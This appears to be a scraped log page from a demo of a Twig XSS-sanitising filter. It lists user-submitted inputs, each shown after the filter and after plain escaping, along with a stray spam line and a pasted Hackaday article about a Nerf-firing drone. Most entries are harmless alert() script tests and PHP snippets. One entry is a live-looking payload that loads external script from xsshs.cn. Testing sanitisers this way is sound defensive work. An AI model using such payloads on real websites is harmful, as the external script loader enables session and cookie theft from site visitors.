result with twig: {{ xss.xss | escape }}:
<script>alert(\'hello\')</script>
keyword(s):
description:
by | at 2021-08-05 19:41:03
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
sCRiPt/SrC=//xsshs.cn/ASk9
result with twig: {{ xss.xss | escape }}:
sCRiPt/SrC=//xsshs.cn/ASk9
keyword(s): fff
description: ffff
by ff | at 2021-08-05 04:39:41
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\'hello\')</script>
keyword(s):
description:
by Foo | at 2021-08-02 19:58:12
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
QGW2C7LZKMO2TP9WXF www.google.com Where are you located ? I want to come to you one of these days\n
result with twig: {{ xss.xss | escape }}:
QGW2C7LZKMO2TP9WXF www.google.com Where are you located ? I want to come to you one of these days\n
keyword(s):
description: QGW2C7LZKMO2TP9WXF www.google.com Where are you located ? I want to come to you one of these days\n
by QGW2C7LZKMO2TP9WXF www.web.de | at 2021-08-02 18:56:30
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
qwqw
result with twig: {{ xss.xss | escape }}:
qwqw
keyword(s): qwqw
description: qwqw
by qwqw | at 2021-07-30 18:34:08
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script> alert(\"Hello\")</script>
keyword(s):
description:
by | at 2021-07-29 17:56:43
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
were were
result with twig: {{ xss.xss | escape }}:
were <script>Hiiiii</script>were <script>Hiiiii</script>
keyword(s):
description: were
by Hello1 | at 2021-07-29 12:39:00
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
were
result with twig: {{ xss.xss | escape }}:
were <script>Hiiiii</script>
keyword(s): njj
description: were
by Hello | at 2021-07-29 12:36:56
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script> alert(\"Hello\")</script>
keyword(s): some
description: If you need some inspiration for new attacks, take a look at the PHPUnit tests. I have already included test from
by need | at 2021-07-29 12:36:44
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script> alert(\"Hello\")</script>
keyword(s): njj
description: jkhj
by Hello | at 2021-07-29 07:30:40
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
a
result with twig: {{ xss.xss | escape }}:
a
keyword(s): aa
description: aa
by a | at 2021-07-27 09:49:34
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(1);</script>
keyword(s): gfdsgfd
description: gfdsgfd
by tfdgfds | at 2021-07-26 22:28:44
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
![]()
Working from home has the major advantage of spending more time with loved ones, but it all that time can sometimes lead to friction. [Cory] found that Nerf battles with his kids is an effective way to blow off some steam, but felt he was getting a bit too much exercise in the process. Instead, he equipped an FPV quadcopter with a 3D printed Nerf gun to take his place.
\nSince manually reloading the Nerf gun after every shot wasn’t an option, he needed to create an autoloader. The darts are propelled by a pair of brushless drone motors mounted side-by-side, with just enough space for a dart the squeeze between. The motors are allowed to spin up, and then a dart is loaded servo-operated plunger, out of an off-the-shelf Nerf magazine. The motors ESCs and servo is controlled by an Arduino Nano, which receives the fire command from one of the spare outputs on the drone’s flight controller. To nerf gear is easily removable from the drone, so [Cory] to also fly the drone on more peaceful missions. See the video of one of the battles after the break. [Cory] might need to find an alternative control location to prevent himself being used as cover by his adversaries.
\nNerf guns are a fun and harmless way to live out your sci-fi warfare fantasies, especially with the technology we have available these days. From FPV sentry guns to auto-aiming rifles, and heavy artillery, anything is possible.
\n
\n<iframe loading=\"lazy\" class=\"youtube-player\" width=\"800\" height=\"480\" src=\"https://www.youtube.com/embed/_hvma2R5_lM?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation\"></iframe>
\nThe HackadayPrize2021 is Sponsored by:\n
\n
result with twig: {{ xss.xss | escape }}:
<div><img width=\"800\" height=\"444\" src=\"https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?w=800\" class=\"attachment-large size-large wp-post-image\" alt=\"\" loading=\"lazy\" style=\"margin: 0 auto; margin-bottom: 15px;\" srcset=\"https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg 1276w, https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?resize=250,139 250w, https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?resize=400,222 400w, https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?resize=800,444 800w\" sizes=\"(max-width: 800px) 100vw, 800px\" data-attachment-id=\"488437\" data-permalink=\"https://hackaday.com/2021/07/26/get-some-close-air-support-with-a-nerf-drone/nerf-drone/\" data-orig-file=\"https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg\" data-orig-size=\"1276,708\" data-comments-opened=\"1\" data-image-meta=\"{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"1"}\" data-image-title=\"nerf-drone\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?w=400\" data-large-file=\"https://hackaday.com/wp-content/uploads/2021/07/nerf-drone.jpg?w=800\" /></div><p>Working from home has the major advantage of spending more time with loved ones, but it all that time can sometimes lead to friction. [Cory] found that Nerf battles with his kids is an effective way to blow off some steam, but felt he was getting a bit too much exercise in the process. Instead, he <a href=\"https://hackaday.io/project/180421-fpv-nerf-quadcopter\" target=\"_blank\">equipped an FPV quadcopter with a 3D printed Nerf gun</a> to take his place.</p>\n<p>Since manually reloading the Nerf gun after every shot wasn’t an option, he needed to create an autoloader. The darts are propelled by a pair of brushless drone motors mounted side-by-side, with just enough space for a dart the squeeze between. The motors are allowed to spin up, and then a dart is loaded servo-operated plunger, out of an off-the-shelf Nerf magazine. The motors ESCs and servo is controlled by an Arduino Nano, which receives the fire command from one of the spare outputs on the drone’s flight controller. To nerf gear is easily removable from the drone, so [Cory] to also fly the drone on more peaceful missions. See the video of one of the battles after the break. [Cory] might need to find an alternative control location to prevent himself being used as cover by his adversaries.</p>\n<p>Nerf guns are a fun and harmless way to live out your sci-fi warfare fantasies, especially with the technology we have available these days. From <a href=\"https://hackaday.com/2021/07/23/a-nerf-ball-turret-complete-with-fpv/\">FPV sentry guns</a> to <a href=\"https://hackaday.com/2021/07/12/a-capable-nerf-launcher-robot/\">auto-aiming rifles</a>, and <a href=\"https://hackaday.com/2021/07/12/a-capable-nerf-launcher-robot/\">heavy artillery</a>, anything is possible.</p>\n<p><span id=\"more-488292\"></span></p>\n<p><iframe loading=\"lazy\" class=\"youtube-player\" width=\"800\" height=\"480\" src=\"https://www.youtube.com/embed/_hvma2R5_lM?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation\"></iframe></p>\n<p><span data-sheets-value=\"{"1":2,"2":"<div id="sidebar-mobile-1" class="widget_text widget widget_custom_html amr_widget"><div class="textwidget custom-html-widget"><div style="text-align: center; font-size: 24px; font-weight: 300; margin: 12px 0;">The <a href="https://prize.supplyframe.com" target="_blank" rel="noopener"><span style="font-weight: bold;">Hackaday</span>Prize2021</a> is Sponsored by:</div>\n<div style="display: flex; justify-content: center; flex-wrap: wrap; margin-bottom: 20px; gap: 3rem;">\n<div style="height: 100%; min-width: 180px;"><a href="https://www.digikey.com/" target="_blank" rel="noopener">\n<img style="width: auto; min-width: 180px; height: 100%;" src="https://hackaday.com/wp-content/uploads/2021/05/digikey_logo_white.png?w=250" alt="Digi-Key" />\n</a></div>\n<div style="height: 100%; padding-top: 0.4rem;"><a href="https://supplyframe.com/" target="_blank" rel="noopener">\n<img style="width: auto; height: 100%;" src="https://hackaday.com/wp-content/uploads/2020/05/hackaday-prize2020-sponsors-supplyframe.png?w=250" alt="Supplyframe" />\n</a></div>\n</div></div></div>"}\" data-sheets-userformat=\"{"2":515,"3":{"1":0},"4":{"1":2,"2":16776960},"12":0}\"><div id=\"sidebar-mobile-1\" class=\"widget_text widget widget_custom_html amr_widget\"><div class=\"textwidget custom-html-widget\"><div style=\"text-align: center; font-size: 24px; font-weight: 300; margin: 12px 0;\">The <a href=\"https://prize.supplyframe.com\" target=\"_blank\" rel=\"noopener\" target=\"_blank\"><span style=\"font-weight: bold;\">Hackaday</span>Prize2021</a> is Sponsored by:</div>\n<div style=\"display: flex; justify-content: center; flex-wrap: wrap; margin-bottom: 20px; gap: 3rem;\">\n<div style=\"height: 100%; min-width: 180px;\"><a href=\"https://www.digikey.com/\" target=\"_blank\" rel=\"noopener\">\n<img style=\"width: auto; min-width: 180px; height: 100%;\" src=\"https://hackaday.com/wp-content/uploads/2021/05/digikey_logo_white.png?w=250\" alt=\"Digi-Key\" />\n</a></div>\n<div style=\"height: 100%; padding-top: 0.4rem;\"><a href=\"https://supplyframe.com/\" target=\"_blank\" rel=\"noopener\">\n<img style=\"width: auto; height: 100%;\" src=\"https://hackaday.com/wp-content/uploads/2020/05/hackaday-prize2020-sponsors-supplyframe.png?w=250\" alt=\"Supplyframe\" />\n</a></div>\n</div></div></div></span></p>\n<p> </p>
keyword(s): rss
description: a hackaday blog item
by e | at 2021-07-26 18:57:07
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<?php echo 1;
result with twig: {{ xss.xss | escape }}:
<?php echo 1;
keyword(s): q
description: q
by q | at 2021-07-23 20:52:42
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<?php echo 1>
result with twig: {{ xss.xss | escape }}:
<?php echo 1>
keyword(s): q
description: q
by q | at 2021-07-23 20:52:14
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Hello, i try to your site
result with twig: {{ xss.xss | escape }}:
Hello, i try to <script>alert(\'Hack\');</script> your site
keyword(s): Simple Test
description:
by Matthias | at 2021-07-23 14:48:38
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Hello, i try to your site
result with twig: {{ xss.xss | escape }}:
Hello, i try to <script>alert(\'Hack\');</script> your site
keyword(s): asdf
description: asdf
by asdf | at 2021-07-23 09:30:44
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
alert(\'hola\')
result with twig: {{ xss.xss | escape }}:
alert(\'hola\')
keyword(s): prueba
description: prueba description
by jorge | at 2021-07-22 19:33:48
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
alert(\'test\')
result with twig: {{ xss.xss | escape }}:
alert(\'test\')
keyword(s): Some keywords
description: fjkasd hfkja alert(\'ok\')
by Test | at 2021-07-16 19:38:27
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
alert(1)
result with twig: {{ xss.xss | escape }}:
alert(1)
keyword(s): sdc
description: sdc
by asdcsd | at 2021-07-16 10:40:08
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
41
result with twig: {{ xss.xss | escape }}:
41
keyword(s): 123
description: 23
by 123 | at 2021-07-08 06:48:21